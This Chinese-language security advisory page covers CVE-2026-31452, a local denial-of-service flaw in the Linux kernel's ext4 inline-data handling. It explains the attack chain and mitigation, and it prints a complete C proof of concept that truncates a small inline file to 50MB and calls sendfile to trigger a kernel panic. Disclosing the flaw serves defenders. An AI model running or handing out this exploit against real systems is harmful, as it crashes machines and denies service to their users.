IPBUF安全漏洞报告
English
CVE-2026-31452 CVSS 7.8 高危

CVE-2026-31452 Linux内核ext4本地拒绝服务漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31452
漏洞类型
拒绝服务
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelext4DoS本地漏洞内核崩溃CVE-2026-31452

漏洞概述

Linux内核ext4文件系统中存在一个严重的逻辑缺陷,允许本地低权限用户触发系统崩溃。该漏洞发生在处理具有内联数据的文件时,当使用truncate操作将文件大小扩展超过内联容量限制,系统未能自动将存储模式转换为基于扩展区的模式。这种元数据的不一致性导致后续的写入操作在ext4_write_inline_data函数中触发断言失败(BUG_ON),进而引发内核恐慌。成功利用此漏洞可导致系统完全停止响应,造成拒绝服务。

技术细节

漏洞核心位于Linux内核fs/ext4/inode.c的ext4_setattr函数。正常情况下,当文件大小增长超过内联数据容量时,内核应执行ext4_convert_inline_data_to_extent进行转换。然而,受影响版本在执行truncate(file, large_size)时,仅更新了inode的i_size字段,保留了内联标志。随后,当用户调用sendfile()尝试写入数据时,内核调用ext4_write_inline_data()。该函数检查write_size是否大于inline_capacity,由于此时i_size巨大且write_size与之相关,而inline_capacity仅约156字节,条件满足触发BUG_ON。这导致内核立即终止运行。攻击者只需拥有本地低权限账户,按顺序执行创建小文件、截断大文件、触发写入的操作,即可使系统崩溃。修复方案是在setattr阶段预判大小并强制转换存储格式。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含内联数据的小文件,确保文件系统将其标记为内联存储模式。
STEP 2
步骤2
攻击者调用truncate系统调用,将文件大小扩展至超过内联存储容量(例如50MB),此时内核未转换存储模式。
STEP 3
步骤3
攻击者使用sendfile()或其他IO机制向该文件写入数据,触发内核写入路径。
STEP 4
步骤4
内核在ext4_write_inline_data()函数中检测到写入大小超过内联容量,触发BUG_ON断言,导致系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/sendfile.h> /* * PoC for CVE-2026-31452 * Trigger: ext4 inline data truncate overflow bug */ int main() { int fd; int src_fd; off_t offset = 0; // Step 1: Create a file with inline data fd = open("poc_testfile", O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { perror("open"); return -1; } write(fd, "data", 4); // Ensure inline data close(fd); // Step 2: Truncate to size exceeding inline capacity fd = open("poc_testfile", O_WRONLY); if (fd < 0) { perror("open"); return -1; } printf("[+] Truncating file to 50MB...\n"); if (ftruncate(fd, 52428800) != 0) { // 50MB perror("ftruncate"); close(fd); return -1; } close(fd); // Step 3: Trigger crash via sendfile printf("[+] Triggering sendfile to cause BUG_ON...\n"); src_fd = open("/etc/hostname", O_RDONLY); fd = open("poc_testfile", O_WRONLY); if (src_fd < 0 || fd < 0) { perror("open for sendfile"); return -1; } // This should trigger the kernel BUG_ON in ext4_write_inline_data sendfile(fd, src_fd, &offset, 100); close(src_fd); close(fd); printf("[!] Exploit finished (check kernel log for crash)\n"); return 0; }

影响范围

Linux Kernel (Mainline versions prior to fix)
Linux Kernel (Stable branches prior to commits 07c1a31a, 110d7ef6, etc.)

防御指南

临时缓解措施
建议立即应用Linux内核官方发布的补丁。在无法立即升级内核的情况下,应严格限制对受影响ext4文件系统的本地访问权限,防止非受信用户执行可能导致内核崩溃的truncate和sendfile操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表